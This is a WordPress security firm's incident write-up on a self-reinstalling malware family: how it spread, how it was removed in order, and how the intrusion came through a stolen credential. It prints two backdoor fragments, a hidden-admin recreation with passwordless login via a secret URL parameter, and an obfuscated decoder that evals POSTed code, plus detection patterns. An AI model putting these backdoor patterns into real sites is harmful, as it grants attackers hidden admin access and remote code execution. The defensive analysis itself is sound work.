The WordPress malware that reinstalls itself
Published November 5, 2026
A client wrote in because his WordPress site had stopped working. To dig into it he needed SSH access to the server — on a managed host — and he’d generated a key but gotten stuck. We walked him through it — the usual Windows snag where Notepad saves the key with CRLF line endings and OpenSSH rejects it as invalid format — and he was in.
The access we set up to find out why the site was down turned out to be exactly what let us see the fire.
Because the next message was: “the host just flagged these infected files” — a list of five — “let’s disinfect the site and look for more.”
So we read the five. They weren’t five stray files. They were the visible edge of a coordinated, self-healing malware framework: a full file manager planted as a webshell, an uploader with comments written in Russian, fake plugins wearing the names of legitimate host tools, and packed backdoors. A family that calls itself, internally, “Easypost.”
The host flagged five. There were more than twenty.
The host’s malware scanner isn’t bad. It just sees what it has a signature for. We swept the whole account by code structure instead of by filename, and the count went from five to more than twenty distinct artifacts:
- A fake plugin with 22 files — a REST backdoor, geo-gating, a spam-placement layer, and its own
recovery.zip. - Three more fake plugins, one signed as though “WordPress.org” had authored it.
- Persistence dropped into
mu-plugins— the must-use folder WordPress loads on every single request, no activation needed. - Code injected into the active theme’s
functions.php. - Copies of the malware hidden in
uploads, incache, and inside the theme directory. - Malicious scheduled tasks (cron) and a pile of injected database options.
- Five fake administrator accounts.
- 68 spam posts — casino and betting junk — published under one of those fake accounts.
The oldest fake admin dated back to January. Keep that in mind; it matters later.
It was built to come back
Here’s the part that makes this family nasty, and the reason “delete the bad files” is a trap.
It watched itself. A “watchdog” and several “guards” — identical copies tucked into the theme, the uploads folder, and the cache — monitored the install and re-dropped the whole thing from a cached recovery.zip the moment anything went missing. And the theme’s functions.php had been given two jobs it was never meant to have: recreate a hidden admin account on every page load, and answer a secret URL, ?login_as_admin3912, that logged the visitor straight in as the first administrator.
if ( ! username_exists( 'adminJCeN' ) ) {
$id = wp_insert_user( $args ); // re-create the hidden admin
update_option( '_pre_user_id', $id ); // then hide it from the users list
}
if ( isset( $_GET['login_as_admin3912'] ) ) {
wp_set_auth_cookie( $admins[0]->ID ); // instant admin, no password
}
Delete the files and the guards put them back. Delete the rogue admin and the theme recreated it on the next visit. If you clean this in the wrong order, it heals faster than you can scrub.
So the order is the method:
- Preserve first. SHA-256 every artifact and copy it to a read-only quarantine before touching anything. Chain of custody, so the report can prove what was there.
- Kill the source of recovery first — the database option that holds the package, and the cached
recovery.zip. Then the re-droppers. Then the files, the database rows, the theme injection, the accounts. - Verify — sweep for signatures again and watch the count stay at zero.
Do it source-first and the thing keeps reviving while you work. Do it recovery-first and it stays dead.
How they got in — it wasn’t an exploit
We pulled the access logs to find the entry vector, expecting a vulnerable plugin. We were wrong.
Every wave of malware lined up, to the minute, with a successful administrator login. Not an exploit request — a plain POST /wp-login.php returning 302, from roughly fifteen rotating IP addresses across different countries. The attacker wasn’t breaking in. He was logging in, with credentials that worked.
The brute-force traffic that was also hammering the login page? Blocked — every attempt came back 503, rate-limited by the host. That noisy attack was the decoy you’d blame. It was never the way in.
The real way in was quiet, and old: that January admin account predated the site’s migration from its previous host. The foothold came in with the migration and sat there for months.
This is the lesson the whole case turns on: the vector was a credential, not a clever hack. Which is why the fix isn’t another security plugin — it’s two-factor authentication and rotated passwords. A plugin can’t stop a login that has the right password. A second factor can. (It’s the same shape we pulled apart in the checkout bug that turned out to be a card skimmer — one quiet account, and a backdoor that did the rest.)
The four that almost got away
We ran our sweep, got to zero, and called it clean.
Then the owner opened a file we hadn’t flagged: invocactf.php. It wasn’t in our report. We read it — and it was another backdoor. Pulling that thread turned up four of them (invocactf.php, mb_convert.php, uconvert.php, partition.php) that had slipped past our first signature sweep and past the automated scan we’d run as an independent check.
Why did everything miss them? Because they carried none of the usual tells — no base64, no gzinflate, no family strings. Just a hand-rolled decoder:
if ( isset( $_POST['ydbyzcefn'] ) ) {
foreach ( explode( '.', $_POST['ydbyzcefn'] ) as $i => $v )
$d .= chr( ( ( ( (int) $v ) - ord( $abc[$i % 36] ) - ( $i % 10 ) ) ^ 253 ) & 255 );
eval( '?>' . $d ); // run whatever the attacker POSTs
}
A signature scan looks for known-bad payloads. This has no payload sitting in the file — it builds it, at runtime, from whatever gets POSTed. So we stopped hunting for strings and hunted for the shape of the decoder instead: chr(((((int), eval("?>, explode(".", $_POST). Swept the entire hosting account with that, and the four surfaced immediately. Removed, re-verified, zero.
We’re telling you this part on purpose. A case study that says “we caught everything instantly” is marketing. The honest version is more useful: the first sweep missed four, we understood why, we fixed the method, and that decoder shape is now part of what we look for on every site. No single scan — ours, the host’s, anyone’s — is proof that a site is clean. It’s a snapshot, and signatures only see the past.
What clean actually looks like
We didn’t take our own word for it. The site was verified three ways: two in-house sweeps from different angles, and an independent, read-only Site Doctor scan — which came back with zero criticals (its one warning was a false positive: a legitimate plugin’s icon cache). WordPress core itself verified clean against the official checksums, so there was nothing to reinstall. The staging copy on the same account: clean too.
Then we hardened: salts rotated to kill every attacker session, the real admin passwords changed, and 2FA enforced on the accounts. The credential door is shut.
Three things to take from it
1. Your host’s “all clear” covers what the host can see. It flagged five of more than twenty artifacts here — not because it’s bad, but because a scanner only knows its own signatures. A real cleanup sweeps the whole account by structure, not just the files it already recognizes.
2. If malware keeps coming back, deleting it isn’t the job. Self-healing families rebuild from a recovery package and re-droppers you haven’t found yet. You have to cut the recovery source first, in order, or it heals while you clean.
3. The way in is almost always a credential, not an exploit. The strongest firewall in the world won’t stop someone who logs in with a working password. Turn on 2FA and rotate passwords — that’s the fix the vector actually calls for.
A read-only second opinion
Site Doctor is a read-only plugin: it reads the whole site — files, database, options, cron, the plugins’ own source — and it cannot change anything, because the write operation doesn’t exist in its code. That’s why you can install it on a client’s site without asking anyone’s permission, and why it’s the right tool for a second opinion when a scan says “clean” and your gut says otherwise. SYSWP Shield is what keeps the next login from becoming the next incident.
If you manage WordPress sites and you’ve ever had that “the scanner says it’s fine but something’s off” feeling, send us one site. We’ll read it and tell you in writing what we found within 24 hours — including if we find nothing.